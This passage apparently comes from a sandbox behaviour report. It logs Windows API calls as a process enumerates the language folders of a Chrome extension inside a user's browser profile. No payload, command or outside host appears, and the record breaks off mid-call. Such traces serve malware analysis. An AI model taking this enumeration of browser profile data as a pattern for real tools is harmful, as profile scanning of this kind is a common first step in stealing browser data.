Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.839] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.839] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.840] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.840] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.840] GetProcessHeap () returned 0x550000 [0277.840] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.840] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ta", cAlternateFileName="")) returned 1 [0277.840] GetProcessHeap () returned 0x550000 [0277.840] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.840] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.840] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.840] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x150, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.840] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x150, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.840] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.840] GetProcessHeap () returned 0x550000 [0277.840] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.840] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="te", cAlternateFileName="")) returned 1 [0277.841] GetProcessHeap () returned 0x550000 [0277.841] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.841] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.842] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.842] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x115, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.842] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x115, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.842] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.842] GetProcessHeap () returned 0x550000 [0277.842] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.842] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0277.842] GetProcessHeap () returned 0x550000 [0277.842] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.842] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.842] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.842] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x125, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.842] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x125, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.842] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.842] GetProcessHeap () returned 0x550000 [0277.842] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.842] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0277.843] GetProcessHeap () returned 0x550000 [0277.843] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.843] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.843] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.843] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.843] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.843] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.843] GetProcessHeap () returned 0x550000 [0277.843] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.844] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0277.844] GetProcessHeap () returned 0x550000 [0277.844] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.844] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.844] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.844] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x115, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.844] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x115, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.844] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.844] GetProcessHeap () returned 0x550000 [0277.844] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.844] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ur", cAlternateFileName="")) returned 1 [0277.844] GetProcessHeap () returned 0x550000 [0277.844] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.844] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.847] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.847] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x177, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.848] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x177, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.848] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.848] GetProcessHeap () returned 0x550000 [0277.848] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.848] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0277.848] GetProcessHeap () returned 0x550000 [0277.848] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.848] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.848] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.848] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.848] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.848] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.848] GetProcessHeap () returned 0x550000 [0277.848] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.848] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, 